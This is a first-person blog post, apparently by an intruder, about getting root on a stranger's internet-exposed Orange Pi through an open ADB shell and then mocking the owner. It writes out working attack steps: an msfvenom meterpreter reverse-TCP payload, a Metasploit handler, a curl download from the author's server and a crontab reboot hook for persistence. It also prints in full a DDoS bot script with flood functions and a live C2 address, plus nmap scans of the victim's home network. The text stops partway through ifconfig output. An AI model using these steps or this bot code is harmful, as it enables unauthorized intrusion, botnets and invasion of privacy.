How I hacked Russian guy with ADB Shell

How I hacked Russian guy with ADB Shell

Everyone knows how the internet works. If you have anything open, you’ll most likely get hacked. I would like to talk about some Russian guy/girl (I don’t know who the owner of this Orange Pi is) who thinks that he (let’s use HE) is a very cool tech guy but in reality has no idea what’s going on.

How everything got started

Several days ago, maybe even weeks ago, my friend told me I could start a botnet using Shodan. I started looking for interesting vulnerabilities, and I found out that there are many IoT devices that have ADB shells opened. Well, I connected to one Russian IP address using adb.exe:

1
.\adb.exe connect xx.xxx.xx.xxx

After that I typed this in the cmd.exe:

1
.\adb.exe shell

I got root shell. THIS IS WEIRD. Alright, now I’m thinking, what the hell is going on? First of all, I need to make sure that I’m not into some android/minimal linux IoT device because if that happens persistence is going to be impossible. I do this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
root@orangepi5max:~# cat /proc/cpuinfo
processor : 0
BogoMIPS : 48.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x2
CPU part : 0xd05
CPU revision : 0

processor : 1
BogoMIPS : 48.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x2
CPU part : 0xd05
CPU revision : 0

processor : 2
BogoMIPS : 48.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x2
CPU part : 0xd05
CPU revision : 0

processor : 3
BogoMIPS : 48.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x2
CPU part : 0xd05
CPU revision : 0

processor : 4
BogoMIPS : 48.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x4
CPU part : 0xd0b
CPU revision : 0

processor : 5
BogoMIPS : 48.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x4
CPU part : 0xd0b
CPU revision : 0

processor : 6
BogoMIPS : 48.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x4
CPU part : 0xd0b
CPU revision : 0

processor : 7
BogoMIPS : 48.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x4
CPU part : 0xd0b
CPU revision : 0

Serial : 5bbe7a135fbec29e

Ok, this thing has a WHOLE 8 CPU cores. After some time I looked at the prompt, and to my surprise it was:

1
root@orangepi5max:~#

Wait, so I’m inside Orange Pi 5??? Well GOOD for me! I need to start persisting this machine ASAP!!!

Starting working on persistence

There are several methods that I could use:

  1. Use my custom implant + custom C2 server.
  2. Use Metasploit-Framework.

Well, if I use my custom implant on this machine, then I’m risking the whole malware being exposed to AV engines (this machine has no AV engine, but wasting my beloved custom implants for some Russian non-important people is a stupid idea and a waste of VERY valuable resources). Also, I don’t have implants for aarch64 CPU architecture. I can do cross-compilation, but I also have some inline assembly in my codebase, and I will need to rewrite hundreds of lines of code (x86->aarch64).

Because of all of that crap, metasploit-framework seems to be the best variant. Unfortunately, metasploit-framework doesn’t allow attackers to stop msfconsole and still store active sessions (unlike my Flask + NextJS-based C2 server with CUSTOM C/C++/ASM implants; let me flex for a second). This problem can be fixed with tmux which creates several “shells” inside the main “shell”. So, I do this on my C2 server:

1
2
3
4
5
6
7
8
9
10
tmux new metasploit
tmux attach -t metasploit
msfvenom -p linux/aarch64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=7567 -f elf -o xxxxxxxx.elf
chmod +x xxxxxxxx.elf && cp xxxxxxxx.elf /var/www/html/
msfconsole -q
use exploit/multi/handler
set payload linux/aarch64/meterpreter_reverse_tcp
set LHOST 0.0.0.0
set LPORT 7567
run -j

This creates a new .elf payload which will give me meterpreter session. Then it copies the generated file to /var/www/html and it becomes accessible to download via HTTP clients such as curl or wget. After that, I start msfconsole and set up a listener for the linux/aarch64/meterpreter_reverse_tcp payload. Well, now it’s time to do the work from adb shell:

1
2
3
cd xxxx
curl -X GET http://xxxxxxxxxx.xxxx/xxxxxxxx.elf -o xxxxxx.elf
crontab -e

In crontab I wrote this:

1
@reboot sleep 10 && /usr/bin/env /xxxxxxxxxxxxxx/xxxxxx.elf

After that, I rebooted the compromised machine! Guess what happens on the C2 after 30 seconds? I received meterpreter session!

I collected all post modules for Linux that are supported by metasploit-framework and started executing them all!!! I even got the SSH key of the compromised machine. That means if the owner of that machine closes adb shell and kills my meterpreter session, I’ll still be able to log into that machine as root user because I have id_rsa key.

Finding other fellow hackers into my new victim

BTW, after I SSH into that machine, I get this very cool welcome message:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
  ___  ____  _   ____    __  __
/ _ \| _ \(_) | ___| | \/ | __ ___ __
| | | | |_) | | |___ \ | |\/| |/ _` \ \/ /
| |_| | __/| | ___) | | | | | (_| |> <
\___/|_| |_| |____/ |_| |_|\__,_/_/\_\

Welcome to Orange Pi 1.0.0 Bookworm with Linux 6.1.43-rockchip-rk3588

System load: 1% Up time: 48 min Local users: 2
Memory usage: 5% of 7.75G IP: 172.17.0.1 192.168.8.2
CPU temp: 47°C Usage of /: 20% of 232G

[ General system configuration (beta): orangepi-config ]

Last login: Mon Dec 1 15:02:06 2025 from xx.xx.xx.xx
-bash: /etc/bash.bashrc: line 55: syntax error near unexpected token `}'
-bash: /etc/bash.bashrc: line 55: ` }'
root@orangepi5max:~#

Is that not cool? Ok, back to the topic. I found a very interesting file called bott.py:

1
2
3
4
5
root@orangepi5max:~# ls /
bin data home KARMA-DDoS media opt run srv usr vmlinuz.old
boot dev initrd.img lib mnt proc sbin sys var
bott.py etc initrd.img.old lost+found nohup.out root selinux tmp vmlinuz
root@orangepi5max:~#

After I downloaded it, I found this code inside:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
import socket, threading, time, random, cloudscraper, requests

C2_ADDRESS = "89.35.130.147"
C2_PORT = 6666

base_user_agents = []

def rand_ua():
return random.choice(base_user_agents) % (random.random() + 5, random.random() + random.randint(1, 8), random.random(), random.randint(2000, 2100), random.randint(92215, 99999), (random.random() + random.randint(3, 9)), random.random())

def CFB(url, secs, port):
url = url + ":" + port
while time.time() < secs:

random_list = random.choice(("FakeUser", "User"))
headers = ""
if "FakeUser" in random_list:
headers = {'User-Agent': f'{rand_ua("FakeUser")}'}
else:
headers = {'User-Agent': f'{rand_ua("User")}'}
scraper = cloudscraper.create_scraper()
scraper = cloudscraper.CloudScraper()
for _ in range(1500):
scraper.get(url, headers=headers, timeout=15)
scraper.head(url, headers=headers, timeout=15)

def REQ_attack(ip, secs, port):
ip = ip + ":" + port
scraper = cloudscraper.create_scraper()
scraper = cloudscraper.CloudScraper()
s = requests.Session()
while time.time() < secs:

random_list = random.choice(("FakeUser", "User"))
headers = ""
if "FakeUser" in random_list:
headers = {'User-Agent': f'{rand_ua("FakeUser")}'}
else:
headers = {'User-Agent': f'{rand_ua("User")}'}
for _ in range(1500):
requests.get(ip, headers=headers)
requests.head(ip, headers=headers)
scraper.get(ip, headers=headers)

def attack_udp(ip, port, secs, size):
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dport = random.randint(1, 65535) if port == 0 else port
data = random._urandom(size)
s.sendto(data, (ip, dport))

def attack_tcp(ip, port, secs, size):
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
while time.time() < secs:
s.send(random._urandom(size))
except:
pass

def attack_tup(ip, port, secs, size):
while time.time() < secs:
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dport = random.randint(1, 65535) if port == 0 else port
try:
data = random._urandom(size)
tcp.connect((ip, port))
udp.sendto(data, (ip, dport))
tcp.send(data)
except:
pass

def attack_hex(ip, port, secs):
payload = b'\x55\x55\x55\x55\x00\x00\x00\x01'
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(payload, (ip, port))
s.sendto(payload, (ip, port))
s.sendto(payload, (ip, port))
s.sendto(payload, (ip, port))
s.sendto(payload, (ip, port))
s.sendto(payload, (ip, port))


def attack_roblox(ip, port, secs, size):
while time.time() < secs:

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(size)
dport = random.randint(1, 65535) if port == 0 else port
for _ in range(1500):
ran = random.randrange(10 ** 80)
hex = "%064x" % ran
hex = hex[:64]
s.sendto(bytes.fromhex(hex) + bytes, (ip, dport))

def attack_junk(ip, port, secs):
payload = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
while time.time() < secs:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(payload, (ip, port))
s.sendto(payload, (ip, port))
s.sendto(payload, (ip, port))

def main():
c2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c2.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
while 1:
try:
c2.connect((C2_ADDRESS, C2_PORT))
while 1:
c2.send('669787761736865726500'.encode())
break
while 1:
time.sleep(1)
data = c2.recv(1024).decode()
if 'Username' in data:
c2.send('BOT'.encode())
break
while 1:
time.sleep(1)
data = c2.recv(1024).decode()
if 'Password' in data:
c2.send('\xff\xff\xff\xff\75'.encode('cp1252'))
break
break
except:
time.sleep(5)
while 1:
try:
data = c2.recv(1024).decode().strip()
if not data:
break
args = data.split(' ')
command = args[0].upper()

if command == '!UDP':
ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
size = int(args[4])
threads = int(args[5])

for _ in range(threads):
threading.Thread(target=attack_udp, args=(ip, port, secs, size), daemon=True).start()
elif command == '!TCP':
ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
size = int(args[4])
threads = int(args[5])

for _ in range(threads):
threading.Thread(target=attack_tcp, args=(ip, port, secs, size), daemon=True).start()
elif command == '!HEX':
ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
threads = int(args[4])

for _ in range(threads):
threading.Thread(target=attack_hex, args=(ip, port, secs), daemon=True).start()
elif command == '.ROBLOX':

ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
size = int(args[4])
threads = int(args[5])

for _ in range(threads):
threading.Thread(target=attack_roblox, args=(ip, port, secs, size), daemon=True).start()
elif command == '!JUNK':
ip = args[1]
port = int(args[2])
secs = time.time() + int(args[3])
threads = int(args[4])

for _ in range(threads):
threading.Thread(target=attack_junk, args=(ip, port, secs), daemon=True).start()
threading.Thread(target=attack_udp, args=(ip, port, secs), daemon=True).start()
threading.Thread(target=attack_tcp, args=(ip, port, secs), daemon=True).start()
elif command == ".HTTP_REQ":
url = args[1]
port = args[2]
secs = time.time() + int(args[3])
threads = int(args[4])
for _ in range(threads):
threading.Thread(target=REQ_attack, args=(url,secs,port), daemon=True).start()
elif command == ".HTTP_CFB":
url = args[1]
port = args[2]
secs = time.time() + int(args[3])
threads = int(args[4])
for _ in range(threads):
threading.Thread(target=CFB, args=(url,secs,port), daemon=True).start()
elif command == 'PING':
c2.send('PONG'.encode())

except:
break

c2.close()

main()

if __name__ == '__main__':
try:
main()
except:
pass

base_user_agents array contains hundreds of user agents, and I removed them in order to make the code look smaller for the blog post.

Well, I read the code, and as I see, it’s a DoS script. Like, the device is getting “commands” from the C2 server which is 89.35.130.147. It has several attack modes:

  1. TCP Flood
  2. UDP Flood
  3. TCP+UDP Flood
  4. UDP Flood BUT with b'\x55\x55\x55\x55\x00\x00\x00\x01' This payload
  5. Roblox mode which actually is a standard UDP flood BUT with random bytes
  6. Junk mode which actually is a standard UDP flood BUT with 0x00 bytes

Inside main function, the first while loop is dedicated for authentication. The bot sends its username, which is BOT and the password, which is 0xff 0xff 0xff 0xff 0x75 bytes encoded in cp1252 format. Also, for some reason Bot sends 669787761736865726500 to the C2 server during the initial contact.

I think the funniest part is PING/PONG:

1
2
elif command == 'PING':
c2.send('PONG'.encode())

This is the best way to check if the BOT is still active or free. Also, these DoS attacks have a countdown. Each time C2 server sends a number that represents how many seconds the attack should be running.

C2 server

I would LOVE to check this C2 server out on shodan and ipinfo. I checked Shodan and it said that there are three TCP ports open:

  1. 22/tcp
  2. 80/tcp
  3. 1387/tcp

I opened up Tor Browser and connected to the IP address. There is Minecraft skin shown” and a “download” button for something. I downloaded files, and it turned out to be random Minecraft mods, resource packs, and other configuration files. That’s weird. I also found a YouTube channel, but it was removed: https://www.youtube.com/@DefenseCFG.

On 1387/tcp port there was another HTTP panel, but this time it was https://github.com/JustArchiNET/ArchiSteamFarm. I have no idea what this thing is. As of my understanding, it has to be some kind of Bot that automatically does farming in games. Well, I think this guy is using this for farming valuable resources in Minecraft. Weird stuff is going on here…

89.35.130.147 should also have 6666 port open. I checked if it was online with this and it said that it was closed. So, this bot script would never make any successful connection. I also checked if this script was running:

1
2
3
root@orangepi5max:~# ps -aux | grep "python"
root 1174 0.0 0.2 112184 21112 ? Ssl 14:31 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 6426 0.0 0.0 6088 1864 pts/0 S+ 15:47 0:00 grep python

No! It’s not even running. So, some guy just hacked this machine, uploaded a bot, and left it alone here to die!

Doing internal network scanning

What can we do after we touch one device in the network? We do lateral movement and pivoting! Yes! So, let’s use nmap/masscan in order to scan everything:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@orangepi5max:~# nmap -sn 192.168.8.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2025-12-01 15:50 UTC
Nmap scan report for homerouter.cpe (192.168.8.1)
Host is up (0.0027s latency).
MAC Address: 82:E7:D8:FB:87:B8 (Unknown)
Nmap scan report for yandex-station-lite (192.168.8.107)
Host is up (0.036s latency).
MAC Address: B8:87:6E:81:84:E4 (Yandex Services AG)
Nmap scan report for yandex-mini2-2301 (192.168.8.108)
Host is up (0.043s latency).
MAC Address: B8:87:6E:06:09:BB (Yandex Services AG)
Nmap scan report for orangepi5max (192.168.8.2)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.04 seconds

Alright, I can see the router and Amazon Alexa’s alternatives(Russian Yandex thing). I could also see his personal computer, but right now I think it’s turned off. It’s funny how easy it is to look into someone else’s routine when you know how to attack devices and use these kinds of loopholes to gain quick access on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
root@orangepi5max:~# cat /tmp/output.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2025-12-01 15:55 UTC
Nmap scan report for homerouter.cpe (192.168.8.1)
Host is up (0.0039s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
80/tcp open http
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
| HTTP/1.1 405
| Content-Length: 0
| FourOhFourRequest, GetRequest:
| HTTP/1.1 404
| Content-Type: text/plain
| X-Download-Options: noopen
| X-Frame-Options: SAMEORIGIN
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'
| X-Content-Type-Options: nosniff
|_ Content-Length: 0
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/https
| fingerprint-strings:
| DNSStatusRequestTCP, Help, NCP, RPCCheck, RTSPRequest, SIPOptions, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe, giop, tor-versions:
| HTTP/1.1 405
| Content-Length: 0
| FourOhFourRequest, GetRequest:
| HTTP/1.1 404
| Content-Type: text/plain
| X-Download-Options: noopen
| X-Frame-Options: SAMEORIGIN
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'
| X-Content-Type-Options: nosniff
| Strict-Transport-Security: max-age=31536000
|_ Content-Length: 0
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: commonName=mediarouter.home/stateOrProvinceName=Hubei/countryName=CN
| Subject Alternative Name: DNS:mediarouter.home, DNS:mediarouter1.home, DNS:mediarouter2.home, DNS:mediarouter3.home
| Not valid before: 2018-02-07T07:50:35
|_Not valid after: 2048-01-31T07:50:35
|_ssl-date: TLS randomness does not represent time
3000/tcp filtered ppp
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.93%I=7%D=12/1%Time=692DBA77%P=aarch64-unknown-linux-gnu%
SF:r(GetRequest,104,"HTTP/1\.1\x20404\x20\r\nContent-Type:\x20text/plain\r
SF:\nX-Download-Options:\x20noopen\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-
SF:XSS-Protection:\x201;\x20mode=block\r\nContent-Security-Policy:\x20defa
SF:ult-src\x20'self'\x20'unsafe-inline'\x20'unsafe-eval'\r\nX-Content-Type
SF:-Options:\x20nosniff\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,24
SF:,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")%r(X11Probe,2
SF:4,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")%r(FourOhFourR
SF:equest,104,"HTTP/1\.1\x20404\x20\r\nContent-Type:\x20text/plain\r\nX-Do
SF:wnload-Options:\x20noopen\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-XSS-Pr
SF:otection:\x201;\x20mode=block\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'self'\x20'unsafe-inline'\x20'unsafe-eval'\r\nX-Content-Type-Optio
SF:ns:\x20nosniff\r\nContent-Length:\x200\r\n\r\n")%r(GenericLines,24,"HTT
SF:P/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")%r(RPCCheck,24,"HTTP
SF:/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")%r(DNSVersionBindReqT
SF:CP,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")%r(DNSStat
SF:usRequestTCP,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")
SF:%r(Help,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")%r(SS
SF:LSessionReq,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x200\r\n\r\n")%
SF:r(TerminalServerCookie,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x200
SF:\r\n\r\n")%r(TLSSessionReq,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\
SF:x200\r\n\r\n")%r(Kerberos,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x
SF:200\r\n\r\n")%r(SMBProgNeg,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\
SF:x200\r\n\r\n")%r(LPDString,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\
SF:x200\r\n\r\n")%r(LDAPSearchReq,24,"HTTP/1\.1\x20405\x20\r\nContent-Leng
SF:th:\x200\r\n\r\n")%r(LDAPBindReq,24,"HTTP/1\.1\x20405\x20\r\nContent-Le
SF:ngth:\x200\r\n\r\n")%r(SIPOptions,24,"HTTP/1\.1\x20405\x20\r\nContent-L
SF:ength:\x200\r\n\r\n")%r(LANDesk-RC,24,"HTTP/1\.1\x20405\x20\r\nContent-
SF:Length:\x200\r\n\r\n")%r(TerminalServer,24,"HTTP/1\.1\x20405\x20\r\nCon
SF:tent-Length:\x200\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port443-TCP:V=7.93%T=SSL%I=7%D=12/1%Time=692DBA7C%P=aarch64-unknown-lin
SF:ux-gnu%r(GetRequest,131,"HTTP/1\.1\x20404\x20\r\nContent-Type:\x20text/
SF:plain\r\nX-Download-Options:\x20noopen\r\nX-Frame-Options:\x20SAMEORIGI
SF:N\r\nX-XSS-Protection:\x201;\x20mode=block\r\nContent-Security-Policy:\
SF:x20default-src\x20'self'\x20'unsafe-inline'\x20'unsafe-eval'\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nStrict-Transport-Security:\x20max-age=31
SF:536000\r\nContent-Length:\x200\r\n\r\n")%r(FourOhFourRequest,131,"HTTP/
SF:1\.1\x20404\x20\r\nContent-Type:\x20text/plain\r\nX-Download-Options:\x
SF:20noopen\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-XSS-Protection:\x201;\x
SF:20mode=block\r\nContent-Security-Policy:\x20default-src\x20'self'\x20'u
SF:nsafe-inline'\x20'unsafe-eval'\r\nX-Content-Type-Options:\x20nosniff\r\
SF:nStrict-Transport-Security:\x20max-age=31536000\r\nContent-Length:\x200
SF:\r\n\r\n")%r(tor-versions,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\x
SF:200\r\n\r\n")%r(RTSPRequest,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:
SF:\x200\r\n\r\n")%r(RPCCheck,24,"HTTP/1\.1\x20405\x20\r\nContent-Length:\
SF:x200\r\n\r\n")%r(DNSStatusRequestTCP,24,"HTTP/1\.1\x20405\x20\r\nConten
SF:t-Length:\x200\r\n\r\n")%r(Help,24,"HTTP/1\.1\x20405\x20\r\nContent-Len
SF:gth:\x200\r\n\r\n")%r(SSLSessionReq,24,"HTTP/1\.1\x20405\x20\r\nContent
SF:-Length:\x200\r\n\r\n")%r(TerminalServerCookie,24,"HTTP/1\.1\x20405\x20
SF:\r\nContent-Length:\x200\r\n\r\n")%r(TLSSessionReq,24,"HTTP/1\.1\x20405
SF:\x20\r\nContent-Length:\x200\r\n\r\n")%r(X11Probe,24,"HTTP/1\.1\x20405\
SF:x20\r\nContent-Length:\x200\r\n\r\n")%r(SIPOptions,24,"HTTP/1\.1\x20405
SF:\x20\r\nContent-Length:\x200\r\n\r\n")%r(NCP,24,"HTTP/1\.1\x20405\x20\r
SF:\nContent-Length:\x200\r\n\r\n")%r(giop,24,"HTTP/1\.1\x20405\x20\r\nCon
SF:tent-Length:\x200\r\n\r\n");
MAC Address: 82:E7:D8:FB:87:B8 (Unknown)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.12 - 4.10
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 3.88 ms homerouter.cpe (192.168.8.1)

Nmap scan report for yandex-station-lite (192.168.8.107)
Host is up (0.0078s latency).
All 1000 scanned ports on yandex-station-lite (192.168.8.107) are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: B8:87:6E:81:84:E4 (Yandex Services AG)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: IBM InfoPrint 1754 printer (96%), Linux 2.6.38 (93%), Aerohive HiveOS 6.1 (93%), Arris cable modem (Linux 2.6.18) (93%), Arris TG862 WAP (93%), Aruba Instant AP (ArubaOS 6.4.2.6) (93%), Asus RT-AC66U router (Linux 2.6) (93%), AVM FRITZ!Box (FritzOS 6.20) (93%), AVM FRITZ!WLAN Repeater 450E (FritzOS 6.51) (93%), Avocent MergePoint Unity MPU2016DAC KVM switch (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 7.75 ms yandex-station-lite (192.168.8.107)

Nmap scan report for yandex-mini2-2301 (192.168.8.108)
Host is up (0.0065s latency).
All 1000 scanned ports on yandex-mini2-2301 (192.168.8.108) are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: B8:87:6E:06:09:BB (Yandex Services AG)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 6.54 ms yandex-mini2-2301 (192.168.8.108)

Nmap scan report for orangepi5max (192.168.8.2)
Host is up (0.00010s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 29c6a5331626af191106589c38b56330 (ECDSA)
|_ 256 4ac2174a5ebf9e66a95bce8e5a1deb60 (ED25519)
53/tcp open domain dnsmasq 2.90
| dns-nsid:
|_ bind.version: dnsmasq-2.90
80/tcp open http nginx 1.22.1
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
5555/tcp open adb Android Debug Bridge device (name: occam; model: Nexus 4; device: mako)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 0 hops
Service Info: OSs: Linux, Android; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (4 hosts up) scanned in 69.86 seconds

This scan doesn’t show it, but I also discovered Redmi-Pad-SE during a previous scan. What can be done right now? I need to identify protocols that are being used by those devices and try to exploit them. Mostly, all ports are closed. Maybe those devices use UDP communication instead of TCP; who knows? I’ll continue working on protocol identification on my own…alone…

Extracting Wi-Fi information

Before I finish, I have to say something, or I’ll forget it. This device is connected to Wi-Fi because when I do ifconfig it says wlan0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@orangepi5max:~# ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether aa:73:d7:c7:2f:46 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

enP3p49s0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether c0:74:2b:fd:c5:c5 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4827 bytes 248885 (243.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
